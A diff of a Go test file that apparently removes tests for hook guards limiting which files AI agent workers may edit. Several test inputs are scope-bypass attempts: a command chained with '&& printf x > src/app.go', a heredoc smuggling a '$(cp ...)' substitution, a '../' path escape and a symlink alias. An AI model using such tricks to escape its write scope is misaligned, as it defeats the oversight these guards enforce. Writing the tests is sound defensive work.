- } else if strings.TrimSpace(out) != "" {
652
- t.Fatalf("expected allow, got %q", out)
653
- }
654
- })
655
- }
656
-
657
- if err := os.Remove(filepath.Join(workspace, ".reconcile-base")); err != nil {
658
- t.Fatal(err)
659
- }
660
- out, _, code := runDevritesIO(t, root,
661
- `{"tool_name":"Edit","tool_input":{"file_path":"src/other.go"},"agent_type":"worker"}`,
662
- env, "hook", "wright-scope", "--harness=codex")
663
- if code != 0 || strings.TrimSpace(out) != "" {
664
- t.Fatalf("generic worker outside a reconcile window was shadowed: exit=%d out=%q", code, out)
665
- }
666
- }
667
-
668
- func TestHookWrightScopeAllowsOnlyBoundCodexV1WorkerPaths(t *testing.T) {
669
- root := newWorkspace(t)
670
- writeActive(t, root, "auth-tokens")
671
- workspace := filepath.Join(root, "features", "auth-tokens")
672
- for name, body := range map[string]string{
673
- ".wright-allowlist": "src/app.go\n",
674
- ".reconcile-base": "snapshot\n",
675
- ".reconcile-allowlist": "src/app.go\n",
676
- ".reconcile-devrites": "[]\n",
677
- } {
678
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(body), 0o600); err != nil {
679
- t.Fatal(err)
680
- }
681
- }
682
- if err := os.MkdirAll(filepath.Join(workspace, ".reconcile-objects"), 0o700); err != nil {
683
- t.Fatal(err)
684
- }
685
- sessionID, turnID := "session-bound-worker", "turn-bound-worker"
686
- writeCodexAgentContract(t, root, "devrites-slice-wright")
687
- writeCodexSkillContract(t, root, "rite-build", "devrites-slice-wright")
688
- runDevritesIO(t, root, hookPayload(t, map[string]any{
689
- "hook_event_name": "UserPromptSubmit",
690
- "session_id": sessionID,
691
- "turn_id": turnID,
692
- "prompt": "$rite-build",
693
- }), nil, "hook", "agent-dispatch", "--harness=codex")
694
- if out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
695
- "hook_event_name": "PreToolUse",
696
- "session_id": sessionID,
697
- "turn_id": turnID,
698
- "tool_name": "spawn_agent",
699
- "tool_use_id": "spawn-bound-worker",
700
- "tool_input": map[string]any{
701
- "agent_type": "worker",
702
- "fork_turns": "none",
703
- "message": "Read .codex/agents/devrites-slice-wright.toml.",
704
- },
705
- }), nil, "hook", "agent-dispatch", "--harness=codex"); code != 0 {
706
- t.Fatalf("spawn exit=%d out=%s stderr=%s", code, out, stderr)
707
- } else if decision, reason := parsePermissionDecision(t, out); decision != "allow" {
708
- t.Fatalf("spawn denied: %s (%s)", decision, reason)
709
- }
710
- if out, stderr, code := runDevritesIO(t, root, hookPayload(t, map[string]any{
711
- "hook_event_name": "SubagentStart",
712
- "session_id": sessionID,
713
- "turn_id": "child-turn",
714
- "agent_id": "bound-worker",
715
- "agent_type": "worker",
716
- }), nil, "hook", "subagent-orient", "--harness=codex"); code != 0 ||
717
- !strings.Contains(out, "Confirmed role") {
718
- t.Fatalf("start exit=%d out=%s stderr=%s", code, out, stderr)
719
- }
720
-
721
- env := []string{"DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1", "DEVRITES_HOOK_PROFILE=strict"}
722
- for _, test := range []struct {
723
- path string
724
- deny bool
725
- }{
726
- {"src/app.go", false},
727
- {"src/other.go", true},
728
- } {
729
- input := hookPayload(t, map[string]any{
730
- "hook_event_name": "PreToolUse",
731
- "session_id": sessionID,
732
- "agent_id": "bound-worker",
733
- "agent_type": "worker",
734
- "tool_name": "Edit",
735
- "tool_input": map[string]any{"file_path": test.path},
736
- })
737
- out, stderr, code := runDevritesIO(t, root, input, env,
738
- "hook", "wright-scope", "--harness=codex")
739
- if code != 0 {
740
- t.Fatalf("%s exit=%d stderr=%s", test.path, code, stderr)
741
- }
742
- if test.deny {
743
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
744
- t.Fatalf("%s should be denied: %s", test.path, out)
745
- }
746
- } else if strings.TrimSpace(out) != "" {
747
- t.Fatalf("%s should be allowed: %s", test.path, out)
748
- }
749
- }
750
- }
751
-
752
- func TestHookWrightScopeAcceptsCodexV2NamedRole(t *testing.T) {
753
- root := newWorkspace(t)
754
- writeActive(t, root, "auth-tokens")
755
- workspace := filepath.Join(root, "features", "auth-tokens")
756
- if err := os.WriteFile(filepath.Join(workspace, ".wright-allowlist"), []byte("src/app.go\n"), 0o600); err != nil {
757
- t.Fatal(err)
758
- }
759
- for _, name := range []string{".reconcile-base", ".reconcile-allowlist", ".reconcile-devrites"} {
760
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(name+"\n"), 0o600); err != nil {
761
- t.Fatal(err)
762
- }
763
- }
764
-
765
- env := []string{"DEVRITES_HOOK_PROFILE=strict"}
766
- for _, test := range []struct {
767
- path string
768
- deny bool
769
- }{
770
- {"src/app.go", false},
771
- {"src/other.go", true},
772
- } {
773
- payload := hookPayload(t, map[string]any{
774
- "hook_event_name": "PreToolUse",
775
- "agent_type": "devrites-slice-wright",
776
- "tool_name": "Edit",
777
- "tool_input": map[string]any{"file_path": test.path},
778
- })
779
- out, stderr, code := runDevritesIO(t, root, payload, env,
780
- "hook", "wright-scope", "--harness=codex")
781
- if code != 0 {
782
- t.Fatalf("%s exit=%d stderr=%s", test.path, code, stderr)
783
- }
784
- if test.deny {
785
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
786
- t.Fatalf("%s should be denied: %s", test.path, out)
787
- }
788
- } else if strings.TrimSpace(out) != "" {
789
- t.Fatalf("%s should be allowed: %s", test.path, out)
790
- }
791
- }
792
- }
793
-
794
- func TestHookWrightScopeRequiresSpawnedCodexWorkerForSourceWrites(t *testing.T) {
795
- root := newWorkspace(t)
796
- writeActive(t, root, "auth-tokens")
797
- workspace := filepath.Join(root, "features", "auth-tokens")
798
- if err := os.WriteFile(filepath.Join(workspace, ".reconcile-base"), []byte("snapshot\n"), 0o600); err != nil {
799
- t.Fatal(err)
800
- }
801
- env := []string{"DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1"}
802
-
803
- runGuard := func(input string, deny bool) {
804
- t.Helper()
805
- out, errOut, code := runDevritesIO(t, root, input, env,
806
- "hook", "wright-scope", "--harness=codex")
807
- if code != 0 {
808
- t.Fatalf("exit=%d out=%q stderr=%q", code, out, errOut)
809
- }
810
- if deny {
811
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
812
- t.Fatalf("expected deny, got %q", out)
813
- }
814
- } else if strings.TrimSpace(out) != "" {
815
- t.Fatalf("expected allow, got %q", out)
816
- }
817
- }
818
-
819
- runGuard(`{"tool_name":"spawn_agent","tool_input":{"agent_type":"worker"}}`, false)
820
- runGuard(`{"tool_name":"spawn_agent","tool_input":{"agent_type":"explorer"}}`, false)
821
- runGuard(`{"tool_name":"Write","tool_input":{"file_path":".devrites/features/auth-tokens/state.md"}}`, false)
822
- scratch := t.TempDir()
823
- packet := filepath.Join(scratch, "agent-packet.yaml")
824
- runGuard(hookPayload(t, map[string]any{
825
- "tool_name": "Write",
826
- "tool_input": map[string]any{"file_path": packet},
827
- }), false)
828
- runGuard(`{"tool_name":"Write","tool_input":{"file_path":"../outside.txt"}}`, true)
829
- runGuard(`{"tool_name":"Write","tool_input":{"file_path":"src/app.go"}}`, true)
830
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`, true)
831
- runGuard(`{"tool_name":"js","tool_input":{"code":"writeFile()"}}`, true)
832
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"devrites-engine reconcile restore-check auth-tokens"}}`, false)
833
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"devrites-engine reconcile restore-check auth-tokens && printf x > src/app.go"}}`, true)
834
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"rtk devrites-engine reconcile abort auth-tokens"}}`, false)
835
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"devrites-engine reconcile abort auth-tokens"}}`, false)
836
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"devrites-engine reconcile abort auth-tokens && printf x > src/app.go"}}`, true)
837
- out, errOut, code := runDevritesIO(t, root,
838
- `{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`,
839
- nil, "hook", "wright-scope", "--harness=claude")
840
- if code != 0 {
841
- t.Fatalf("Claude root guard: exit=%d stderr=%q", code, errOut)
842
- }
843
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
844
- t.Fatalf("Claude root source write was not denied: %q", out)
845
- }
846
-
847
- // A legacy marker is inert: it cannot authorize root source writes.
848
- if err := os.WriteFile(filepath.Join(workspace, ".reconcile-inline"), nil, 0o600); err != nil {
849
- t.Fatal(err)
850
- }
851
- runGuard(`{"tool_name":"Bash","tool_input":{"command":"printf x > src/app.go"}}`, true)
852
- runGuard(`{"tool_name":"js","tool_input":{"code":"writeFile()"}}`, true)
853
-
854
- projectDir := filepath.Dir(root)
855
- if err := os.MkdirAll(filepath.Join(projectDir, "src"), 0o755); err != nil {
856
- t.Fatal(err)
857
- }
858
- source := filepath.Join(projectDir, "src", "app.go")
859
- if err := os.WriteFile(source, []byte("package src\n"), 0o600); err != nil {
860
- t.Fatal(err)
861
- }
862
- alias := filepath.Join(workspace, "source-alias")
863
- if err := os.Symlink(source, alias); err != nil {
864
- t.Skipf("symlinks unavailable: %v", err)
865
- }
866
- runGuard(`{"tool_name":"Write","tool_input":{"file_path":".devrites/features/auth-tokens/source-alias"}}`, true)
867
- }
868
-
869
- func TestHookA1GuardIgnoresLegacyInlineMarker(t *testing.T) {
870
- root := newWorkspace(t)
871
- writeActive(t, root, "auth-tokens")
872
- workspace := filepath.Join(root, "features", "auth-tokens")
873
- for _, name := range []string{".reconcile-base", ".reconcile-inline"} {
874
- if err := os.WriteFile(filepath.Join(workspace, name), nil, 0o600); err != nil {
875
- t.Fatal(err)
876
- }
877
- }
878
- input := `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`
879
- env := []string{"DEVRITES_A1_HOOK=enforce"}
880
-
881
- for _, host := range []string{"codex", "claude"} {
882
- t.Run(host, func(t *testing.T) {
883
- out, errOut, code := runDevritesIO(t, root, input, env,
884
- "hook", "a1-guard", "--harness="+host)
885
- if code != 0 {
886
- t.Fatalf("exit=%d stderr=%q", code, errOut)
887
- }
888
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
889
- t.Fatalf("legacy inline marker authorized root source write: %q", out)
890
- }
891
- })
892
- }
893
- }
894
-
895
- func TestHookA1GuardAllowsExternalDispatchScratchOnly(t *testing.T) {
896
- root := newWorkspace(t)
897
- writeActive(t, root, "auth-tokens")
898
- workspace := filepath.Join(root, "features", "auth-tokens")
899
- if err := os.WriteFile(filepath.Join(workspace, ".reconcile-base"), []byte("snapshot\n"), 0o600); err != nil {
900
- t.Fatal(err)
901
- }
902
- scratch := t.TempDir()
903
- packet := filepath.Join(scratch, "agent-packet.yaml")
904
- env := []string{"DEVRITES_A1_HOOK=enforce"}
905
- patch := func(tool, path string, freeform bool) string {
906
- body := "*** Begin Patch\n*** Add File: " + path + "\n+x\n*** End Patch\n"
907
- if freeform {
908
- return hookPayload(t, map[string]any{"tool_name": tool, "tool_input": body})
909
- }
910
- return hookPayload(t, map[string]any{"tool_name": tool, "tool_input": map[string]any{"patch": body}})
911
- }
912
- shell := func(command string) string {
913
- return hookPayload(t, map[string]any{
914
- "tool_name": "functions.exec_command",
915
- "tool_input": map[string]any{"cmd": command},
916
- })
917
- }
918
-
919
- runGuard := func(input string, deny bool) {
920
- t.Helper()
921
- out, errOut, code := runDevritesIO(t, root, input, env,
922
- "hook", "a1-guard", "--harness=codex")
923
- if code != 0 {
924
- t.Fatalf("exit=%d out=%q stderr=%q", code, out, errOut)
925
- }
926
- if deny {
927
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
928
- t.Fatalf("expected deny, got %q", out)
929
- }
930
- } else if strings.TrimSpace(out) != "" {
931
- t.Fatalf("expected allow, got %q", out)
932
- }
933
- }
934
-
935
- runGuard(patch("apply_patch", packet, false), false)
936
- runGuard(patch("functions.apply_patch", packet, true), false)
937
- runGuard(shell("cat <<'EOF' > "+packet+"\npacket_version: agent-packet/v1\nEOF"), false)
938
- runGuard(shell("sha256sum "+packet), false)
939
- runGuard(shell("cp "+packet+" "+filepath.Join(scratch, "agent-packet.copy.yaml")), false)
940
- runGuard(patch("apply_patch", "src/app.go", false), true)
941
- runGuard(patch("functions.apply_patch", "src/app.go", true), true)
942
- runGuard(shell("cat <<'EOF' > src/app.go\npackage src\nEOF"), true)
943
- runGuard(shell("cat <<'EOF' > "+packet+"\nunterminated"), true)
944
- runGuard(shell("cat <<EOF > "+packet+"\n$(cp "+packet+" src/app.go)\nEOF"), true)
945
- runGuard(shell("cp "+packet+" src/app.go"), true)
946
- }
947
-
948
- func TestHookWrightScopeFailsClosedWhenWorkspaceResolutionFails(t *testing.T) {
949
- root := newWorkspace(t)
950
- if err := os.Remove(filepath.Join(root, "ACTIVE")); err != nil && !os.IsNotExist(err) {
951
- t.Fatal(err)
952
- }
953
-
954
- wrightEnv := []string{
955
- "DEVRITES_AGENT_RUN=1",
956
- "DEVRITES_ACTIVE_AGENT=devrites-slice-wright",
957
- }
958
- for _, test := range []struct {
959
- name string
960
- input string
961
- env []string
962
- deny bool
963
- }{
964
- {"declared wright edit", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`, wrightEnv, true},
965
- {"declared wright opaque execution", `{"tool_name":"exec","tool_input":{"code":"writeFile()"}}`, wrightEnv, true},
966
- {"declared wright nested dispatch", `{"tool_name":"spawn_agent","tool_input":{"message":"do work"}}`, wrightEnv, true},
967
- {"invalid declared identity", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`,
968
- []string{"DEVRITES_AGENT_RUN=1", "DEVRITES_ACTIVE_AGENT=invalid"}, true},
969
- {"undeclared root observation", `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`,
970
- []string{"DEVRITES_AGENT_RUN=0", "DEVRITES_ACTIVE_AGENT=", "DEVRITES_WRIGHT_SCOPE="}, false},
971
- } {
972
- t.Run(test.name, func(t *testing.T) {
973
- out, errOut, code := runDevritesIO(t, root, test.input, test.env,
974
- "hook", "wright-scope", "--harness=codex")
975
- if code != 0 {
976
- t.Fatalf("exit=%d stderr=%q", code, errOut)
977
- }
978
- if test.deny {
979
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
980
- t.Fatalf("expected deny, got %q", out)
981
- }
982
- } else if strings.TrimSpace(out) != "" {
983
- t.Fatalf("expected non-shadowing allow, got %q", out)
984
- }
985
- })
986
- }
987
- }
988
-
989
- func TestHookWrightScopeFailsClosedOnMissingOrInvalidAllowlist(t *testing.T) {
990
- root := newWorkspace(t)
991
- writeActive(t, root, "auth-tokens")
992
- workspace := filepath.Join(root, "features", "auth-tokens")
993
- env := []string{
994
- "DEVRITES_AGENT_RUN=1",
995
- "DEVRITES_ACTIVE_AGENT=devrites-slice-wright",
996
- }
997
- in := `{"tool_name":"Edit","tool_input":{"file_path":"src/app.go"}}`
998
-
999
- out, _, _ := runDevritesIO(t, root, in, env, "hook", "wright-scope", "--harness=claude")
1000
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1001
- t.Fatal("missing allowlist did not fail closed")
1002
- }
1003
-
1004
- if err := os.WriteFile(filepath.Join(workspace, ".wright-allowlist"), []byte("src/app.go\nsrc/app.go\n"), 0o600); err != nil {
1005
- t.Fatal(err)
1006
- }
1007
- out, _, _ = runDevritesIO(t, root, in, env, "hook", "wright-scope", "--harness=claude")
1008
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1009
- t.Fatal("duplicate allowlist entry did not fail closed")
1010
- }
1011
- }
1012
-
1013
- func TestHookWrightScopeBindsForgeCandidateManifestIdentity(t *testing.T) {
1014
- repo := newForgeCLIRepo(t)
1015
- manifest := planForgeCLI(t, repo)
1016
- candidate, err := manifest.Candidate("A")
1017
- if err != nil {
1018
- t.Fatal(err)
1019
- }
1020
- worker := startForgeCLIWorker(t, repo, manifest.RunID, "A", "worker-a")
1021
- baseEnv := []string{
1022
- "DEVRITES_AGENT_RUN=1",
1023
- "DEVRITES_ACTIVE_AGENT=devrites-slice-wright",
1024
- "DEVRITES_FORGE_RUN_ID=" + manifest.RunID,
1025
- "DEVRITES_FORGE_CANDIDATE=A",
1026
- "DEVRITES_FORGE_WORKER_ID=" + worker.id,
1027
- "DEVRITES_FORGE_WORKER_PID=" + strconv.Itoa(worker.cmd.Process.Pid),
1028
- "DEVRITES_FORGE_PROCESS_START=" + worker.token,
1029
- }
1030
- input := `{"tool_name":"Edit","agent_id":"worker-a","tool_input":{"file_path":"tracked.txt"}}`
1031
- out, stderr, code := runDevritesAt(t, repo, candidate.Worktree, input, baseEnv,
1032
- "hook", "wright-scope", "--harness=codex")
1033
- if code != 0 || strings.TrimSpace(out) != "" {
1034
- t.Fatalf("valid Forge candidate was denied: exit=%d stdout=%s stderr=%s", code, out, stderr)
1035
- }
1036
- genericEnv := append([]string{"DEVRITES_CODEX_GENERIC_AGENT_COMPAT=1"}, baseEnv[2:]...)
1037
- genericInput := `{"tool_name":"Edit","agent_id":"worker-a","agent_type":"worker","tool_input":{"file_path":"tracked.txt"}}`
1038
- out, stderr, code = runDevritesAt(t, repo, candidate.Worktree, genericInput, genericEnv,
1039
- "hook", "wright-scope", "--harness=codex")
1040
- if code != 0 || strings.TrimSpace(out) != "" {
1041
- t.Fatalf("valid generic Forge worker was denied: exit=%d stdout=%s stderr=%s", code, out, stderr)
1042
- }
1043
- out, _, code = runDevritesAt(t, repo, candidate.Worktree,
1044
- `{"tool_name":"Edit","agent_id":"worker-a","agent_type":"worker","tool_input":{"file_path":"outside.txt"}}`,
1045
- genericEnv, "hook", "wright-scope", "--harness=codex")
1046
- if code != 0 {
1047
- t.Fatalf("generic Forge worker hook exit=%d", code)
1048
- }
1049
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1050
- t.Fatalf("generic Forge worker escaped its allowlist: %s", out)
1051
- }
1052
-
1053
- replaceEnv := func(name, value string) []string {
1054
- env := append([]string(nil), baseEnv...)
1055
- prefix := name + "="
1056
- for i := range env {
1057
- if strings.HasPrefix(env[i], prefix) {
1058
- env[i] = prefix + value
1059
- }
1060
- }
1061
- return env
1062
- }
1063
- foreign := newForgeCLIRepo(t)
1064
- for _, test := range []struct {
1065
- name string
1066
- cwd string
1067
- input string
1068
- env []string
1069
- }{
1070
- {"primary root", repo, input, baseEnv},
1071
- {"sibling candidate", manifest.Candidates[1].Worktree, input, baseEnv},
1072
- {"foreign repository", foreign, input, baseEnv},
1073
- {"wrong candidate", candidate.Worktree, input, replaceEnv("DEVRITES_FORGE_CANDIDATE", "B")},
1074
- {"wrong worker", candidate.Worktree, input, replaceEnv("DEVRITES_FORGE_WORKER_ID", "worker-x")},
1075
- {"wrong pid", candidate.Worktree, input, replaceEnv("DEVRITES_FORGE_WORKER_PID", "1")},
1076
- {"wrong token", candidate.Worktree, input, replaceEnv("DEVRITES_FORGE_PROCESS_START", strings.Repeat("0", 64))},
1077
- {"partial binding", candidate.Worktree, input, replaceEnv("DEVRITES_FORGE_PROCESS_START", "")},
1078
- {"missing binding", candidate.Worktree, input, baseEnv[:2]},
1079
- {"wrong hook agent", candidate.Worktree,
1080
- `{"tool_name":"Edit","agent_id":"worker-x","tool_input":{"file_path":"tracked.txt"}}`, baseEnv},
1081
- } {
1082
- t.Run(test.name, func(t *testing.T) {
1083
- out, stderr, code := runDevritesAt(t, repo, test.cwd, test.input, test.env,
1084
- "hook", "wright-scope", "--harness=codex")
1085
- if code != 0 {
1086
- t.Fatalf("exit=%d stderr=%s", code, stderr)
1087
- }
1088
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1089
- t.Fatalf("invalid Forge binding was not denied: %s", out)
1090
- }
1091
- })
1092
- }
1093
-
1094
- forgeGit(t, candidate.Worktree, "switch", "-c", "wrong-forge-branch")
1095
- out, _, _ = runDevritesAt(t, repo, candidate.Worktree, input, baseEnv,
1096
- "hook", "wright-scope", "--harness=codex")
1097
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1098
- t.Fatal("wrong candidate branch was not denied")
1099
- }
1100
- forgeGit(t, candidate.Worktree, "switch", candidate.Branch)
1101
-
1102
- manifestPath := filepath.Join(repo, ".devrites", "work", "alpha", ".forge", manifest.RunID, "manifest.json")
1103
- raw, err := os.ReadFile(manifestPath)
1104
- if err != nil {
1105
- t.Fatal(err)
1106
- }
1107
- var tampered map[string]any
1108
- if err := json.Unmarshal(raw, &tampered); err != nil {
1109
- t.Fatal(err)
1110
- }
1111
- candidates := tampered["candidates"].([]any)
1112
- candidates[0].(map[string]any)["worktree"] = foreign
1113
- raw, err = json.MarshalIndent(tampered, "", " ")
1114
- if err != nil {
1115
- t.Fatal(err)
1116
- }
1117
- if err := os.WriteFile(manifestPath, append(raw, '\n'), 0o600); err != nil {
1118
- t.Fatal(err)
1119
- }
1120
- out, _, _ = runDevritesAt(t, repo, candidate.Worktree, input, baseEnv,
1121
- "hook", "wright-scope", "--harness=codex")
1122
- if decision, _ := parsePermissionDecision(t, out); decision != "deny" {
1123
- t.Fatal("tampered Forge manifest was not denied")
1124
- }
1125
- }
1126
-
1127
- // --- issue 09: subagent-orient ---
1128
-
1129
- func TestHookSubagentOrientInjectsDisciplineForDevritesAgent(t *testing.T) {
1130
- for _, h := range []string{"claude", "codex"} {
1131
- h := h
1132
- t.Run(h, func(t *testing.T) {
1133
- root := newWorkspace(t)
1134
- in := `{"agent_type":"devrites-code-reviewer"}`
1135
- out, errOut, code := runDevritesIO(t, root, in, nil, "hook", "subagent-orient", "--harness="+h)
1136
- if code != 0 {
1137
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
1138
- }
1139
- var env struct {
1140
- HookSpecificOutput struct {
1141
- HookEventName string `json:"hookEventName"`
1142
- AdditionalContext string `json:"additionalContext"`
1143
- } `json:"hookSpecificOutput"`
1144
- }
1145
- if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &env); err != nil {
1146
- t.Fatalf("stdout is not a valid SubagentStart envelope: %v\n%s", err, out)
1147
- }
1148
- if env.HookSpecificOutput.HookEventName != "SubagentStart" {
1149
- t.Errorf("hookEventName = %q, want SubagentStart", env.HookSpecificOutput.HookEventName)
1150
- }
1151
- for _, want := range []string{"DevRites subagent", "Operating rules", "ignored path", "native filesystem", "Engram arguments", "session_id", "task_name", "orchestration depth"} {
1152
- if !strings.Contains(env.HookSpecificOutput.AdditionalContext, want) {
1153
- t.Errorf("additionalContext missing %q", want)
1154
- }
1155
- }
1156
- })
1157
- }
1158
- }
1159
-
1160
- func TestHookSubagentOrientSilentForNonDevritesAgent(t *testing.T) {
1161
- root := newWorkspace(t)
1162
- for _, in := range []string{`{"agent_type":"Explore"}`, `{"agent_type":""}`, `not json`, ``} {
1163
- out, _, code := runDevritesIO(t, root, in, nil, "hook", "subagent-orient", "--harness=claude")
1164
- if code != 0 || strings.TrimSpace(out) != "" {
1165
- t.Errorf("want silent exit 0 for payload %q; got exit=%d out=%q", in, code, out)
1166
- }
1167
- }
1168
- }
1169
-
1170
- func TestHookSubagentOrientCapturesWrightCanonicalBoundary(t *testing.T) {
1171
- root := newWorkspace(t)
1172
- writeActive(t, root, "auth-tokens")
1173
- workspace := filepath.Join(root, "features", "auth-tokens")
1174
- if err := os.MkdirAll(filepath.Join(workspace, ".reconcile-objects"), 0o700); err != nil {
1175
- t.Fatal(err)
1176
- }
1177
- for name, body := range map[string]string{
1178
- ".reconcile-base": "base\n",
1179
- ".reconcile-allowlist": "",
1180
- ".reconcile-devrites": "[]\n",
1181
- "state.md": "Phase: build\n",
1182
- "browser-evidence.md": "Prior root evidence\n",
1183
- } {
1184
- if err := os.WriteFile(filepath.Join(workspace, name), []byte(body), 0o600); err != nil {
1185
- t.Fatal(err)
1186
- }
1187
- }
1188
-
1189
- in := `{"agent_type":"devrites-slice-wright"}`
1190
- out, errOut, code := runDevritesIO(t, root, in, nil, "hook", "subagent-orient", "--harness=claude")
1191
- if code != 0 {
1192
- t.Fatalf("exit = %d, want 0 (stderr: %s)", code, errOut)
1193
- }
1194
- if strings.Contains(out, "Wright boundary unavailable") {
1195
- t.Fatalf("wright start was blocked: %s", out)
1196
- }
1197
- raw, err := os.ReadFile(filepath.Join(workspace, ".reconcile-wright-devrites"))
1198
- if err != nil {
1199
- t.Fatalf("read wright boundary: %v", err)
1200
- }
1201
- for _, path := range []string{"features/auth-tokens/state.md", "features/auth-tokens/browser-evidence.md"} {
1202
- if !strings.Contains(string(raw), path) {
1203
- t.Errorf("wright boundary omitted %s: %s", path, raw)
1204
- }
1205
- }
1206
- }
1207
-
1208
- func hookPayload(t *testing.T, value map[string]any) string {
1209
- t.Helper()
1210
- raw, err := json.Marshal(value)
1211
- if err != nil {
1212
- t.Fatal(err)
1213
- }
1214
- return string(raw)
1215
- }
1216
-
1217
- func writeCodexAgentContract(t *testing.T, root, role string) {
1218
- t.Helper()
1219
- dir := filepath.Join(filepath.Dir(root), ".codex", "agents")
1220
- if err := os.MkdirAll(dir, 0o755); err != nil {
1221
- t.Fatal(err)
1222
- }
1223
- contract := "name = \"" + role + "\"\ndeveloper_instructions = '''\nROLE-CONTRACT:" + role + "\n'''\n"
1224
- if err := os.WriteFile(filepath.Join(dir, role+".toml"), []byte(contract), 0o600); err != nil {
1225
- t.Fatal(err)
1226
- }
1227
- }
1228
-
1229
- func writeCodexSkillContract(t *testing.T, root, skill, roles string) {
1230
- t.Helper()
1231
- dir := filepath.Join(filepath.Dir(root), ".agents", "skills", skill)
1232
- if err := os.MkdirAll(dir, 0o755); err != nil {
1233
- t.Fatal(err)
1234
- }
1235
- contract := "---\nname: " + skill + "\ndescription: Test skill.\nrequired-agent-roles: " + roles + "\n---\n"
1236
- if err := os.WriteFile(filepath.Join(dir, "SKILL.md"), []byte(contract), 0o600); err != nil {
1237
- t.Fatal(err)
1238
- }
1239
- }
1240
-
1241
- func writeCodexConditionalSkillContract(t *testing.T, root, skill, role string) {
1242
- t.Helper()
1243
- dir := filepath.Join(filepath.Dir(root), ".agents", "skills", skill)
1244
- if err := os.MkdirAll(dir, 0o755); err != nil {
1245
- t.Fatal(err)
1246
- }
1247
- contract := "---\nname: " + skill + "\ndescription: Test skill.\nrequired-agent-roles: none\n---\n\nConditionally dispatch `" + role + "` when needed.\n"
1248
- if err := os.WriteFile(filepath.Join(dir, "SKILL.md"), []byte(contract), 0o600); err != nil {
1249
- t.Fatal(err)
1250
- }
1251
- }
1252
-
1253
- func writeCodexV2Rollouts(
1254
- t *testing.T,
1255
- codeHome, projectRoot, sessionID, turnID, role, taskName string,
1256
- includeWait, includeInstructions, includeResult bool,
1257
- ) {
1258
- t.Helper()
1259
- dir := filepath.Join(codeHome, "sessions", "2026", "07", "25")
1260
- if err := os.MkdirAll(dir, 0o700); err != nil {
1261
- t.Fatal(err)
1262
- }
1263
- at := time.Now().UTC()
1264
- parent := []map[string]any{
1265
- {
1266
- "timestamp": at.Format(time.RFC3339Nano),
1267
- "type": "session_meta",
1268
- "payload": map[string]any{
1269
- "session_id": sessionID,
1270
- "id": sessionID,
1271
- "cwd": projectRoot,
1272
- },
1273
- },
1274
- {
1275
- "timestamp": at.Add(time.Millisecond).Format(time.RFC3339Nano),
1276
- "type": "response_item",
1277
- "payload": map[string]any{
1278
- "type": "function_call",
1279
- "name": "spawn_agent",
1280
- "arguments": `{"agent_type":"` + role + `","task_name":"` + taskName + `","fork_turns":"none","message":"encrypted"}`,
1281
- "internal_chat_message_metadata_passthrough": map[string]any{
1282
- "turn_id": turnID,
1283
- },
1284
- },
1285
- },
1286
- }
1287
- if includeWait {
1288
- parent = append(parent, map[string]any{
1289
- "timestamp": at.Add(2 * time.Millisecond).Format(time.RFC3339Nano),
1290
- "type": "response_item",
1291
- "payload": map[string]any{
1292
- "type": "function_call",
1293
- "name": "wait_agent",
1294
- "arguments": `{"timeout_ms":3600000}`,
1295
- "internal_chat_message_metadata_passthrough": map[string]any{
1296
- "turn_id": turnID,
1297
- },
1298
- },
1299
- })
1300
- }
1301
- if includeResult {
1302
- parent = append(parent, map[string]any{
1303
- "timestamp": at.Add(3 * time.Millisecond).Format(time.RFC3339Nano),
1304
- "type": "response_item",
1305
- "payload": map[string]any{
1306
- "type": "agent_message",
1307
- "author": "/root/" + taskName,
1308
- "recipient": "/root",
1309
- "content": []map[string]any{{
1310
- "type": "input_text",
1311
- "text": "Message Type: FINAL_ANSWER\nPayload:\nagent-result/v1 complete",
1312
- }},
1313
- "internal_chat_message_metadata_passthrough": map[string]any{
1314
- "turn_id": turnID,
1315
- },
1316
- },
1317
- })
1318
- }
1319
- writeJSONLines(t, filepath.Join(dir, "rollout-parent-"+sessionID+".jsonl"), parent)
1320
-
1321
- child := []map[string]any{
1322
- {
1323
- "timestamp": at.Add(time.Millisecond).Format(time.RFC3339Nano),
1324
- "type": "session_meta",
1325
- "payload": map[string]any{
1326
- "session_id": sessionID,
1327
- "id": "child-" + taskName,
1328
- "parent_thread_id": sessionID,
1329
- "cwd": projectRoot,
1330
- "agent_path": "/root/" + taskName,
1331
- "agent_role": role,
1332
- },
1333
- },
1334
- }
1335
- if includeInstructions {
1336
- child = append(child, map[string]any{
1337
- "timestamp": at.Add(2 * time.Millisecond).Format(time.RFC3339Nano),
1338
- "type": "response_item",
1339
- "payload": map[string]any{
1340
- "type": "message",
1341
- "role": "developer",
1342
- "content": []map[string]any{{
1343
- "type": "input_text",
1344
- "text": "ROLE-CONTRACT:" + role,
1345
- }},
1346
- },
1347
- })
1348
- }
1349
- if includeResult {
1350
- child = append(child, map[string]any{
1351
- "timestamp": at.Add(3 * time.Millisecond).Format(time.RFC3339Nano),
1352
- "type": "event_msg",
1353
- "payload": map[string]any{
1354
